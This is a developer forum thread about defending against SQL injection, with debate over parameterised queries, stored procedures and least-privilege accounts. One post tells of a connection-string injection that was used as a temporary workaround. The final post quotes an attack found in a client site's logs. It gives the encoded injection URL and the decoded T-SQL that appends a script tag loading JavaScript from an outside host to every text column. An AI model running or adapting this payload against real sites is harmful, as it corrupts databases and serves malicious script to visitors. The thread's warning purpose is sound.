SQL Injection

[ft101]

WHS and ideally stored procedures.

Seen plenty of sql injection through SP's (i'm a pen tester and software security head btw), either the dev's build the SP call dynamically or in some cases, i've seen dynamic sql constructed within the SP!

Best approach is (as stated already) parameterised queries, and also _in all cases_ input should be validated against expected data type (at least) and usually one or more of length, format and range.

cheers

[Cowboy Bob]

That's a bit extreme. You might be accessing the db using an account that's got
CREATE SESSION
SELECT ON NODDY_VIEW
and nothing more. That would be pretty injection-proof.

Until the next dev comes along and adds an insert...

Nope, there's no excuse whatsoever to not use parameterised queries at the very least.

[thunderlizard]

well of course, a mad admin can bring down anything, in which case the most nicely-parameterised data access tier known to man won't be much use.

[DimPrawn]

That's a bit extreme. You might be accessing the db using an account that's got
CREATE SESSION
SELECT ON NODDY_VIEW
and nothing more. That would be pretty injection-proof.

Not a good enough safeguard for any serious system. One dumb admin can bring it all tumbling down.

[thunderlizard]

If you're not using parameterised queries to access the database, uninstall your development environment right now as you have no business writing code to connect to a database.

Don't talk to me about escaping input, I'll only laugh in your face, as will most pros.

That's a bit extreme. You might be accessing the db using an account that's got
CREATE SESSION
SELECT ON NODDY_VIEW
and nothing more. That would be pretty injection-proof.

[DimPrawn]

If you're not using parameterised queries to access the database, uninstall your development environment right now as you have no business writing code to connect to a database.

Don't talk to me about escaping input, I'll only laugh in your face, as will most pros.

WHS and ideally stored procedures.

[Cowboy Bob]

If you're not using parameterised queries to access the database, uninstall your development environment right now as you have no business writing code to connect to a database.

Don't talk to me about escaping input, I'll only laugh in your face, as will most pros.

[Bob Dalek]

For Oracle, I recommend visiting Pete Finnigan's site to get good info. on securing your DB and webby stuff. Which is what I will be doing, now that I come to think of it.

[thunderlizard]

You've reminded me of my best cowboy fix ever. Not exactly SQL injection, but a similar principle.

Customer had a windows app connecting to Oracle. which they'd supposedly tested in advance of database/MDAC/OS upgrade.

Details get a little hazy in my memory, but there was one little function that they'd missed testing, which wouldn't work after the upgrade. I think it was relying on an Oracle ref cursor or something, which had stopped returning results for some obscure reason to do with the upgrade.

We got the fix ready, which just involved setting some explicit attributes in the code that was making the database calls. But we also noticed that it was logging in to the database just by asking for the user's name and password on its login screen, then tacking them onto a connection string.

So for the couple of weeks before the fix was released, the official workaround was this: instead of user Fred logging in as FRED, he had to log in as FRED;PLSQLRSet=1

[chicane]

I've seen several sites in the last couple of months being compromised by something very similar to what you've listed above. All it takes is one vulnerable script, and the entire contents of the database could be chewed up.

Anybody who's not familiar with the dangers of SQL injection in web apps would be well advised to read up at the earliest opportunity.

[Fran]

I doubt you would; but never overlook SQL Injection. Just caught this in an error from a client's website.

Luckily I patched the SQL Injection holes when I took over the website, also they've not been too clever as the whole injection string would have been enclosed in quotes before being sent to the DB as they have dumped it next to a string code!

/browse.aspx?title=All%20Devore%20Shawls&product=Accessories&subtype=SHW;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(<<lots of hexidecimal here>>%20VARCHAR(4000));EXEC(@S);--

the hex converts to:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.bgsr.ru/js.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

And the JS seems to record the url of the hit site, I think, couldn't be bothered sorting through the obfuscated JS.

Anyway, shows the morals of http://www.bgsr.ru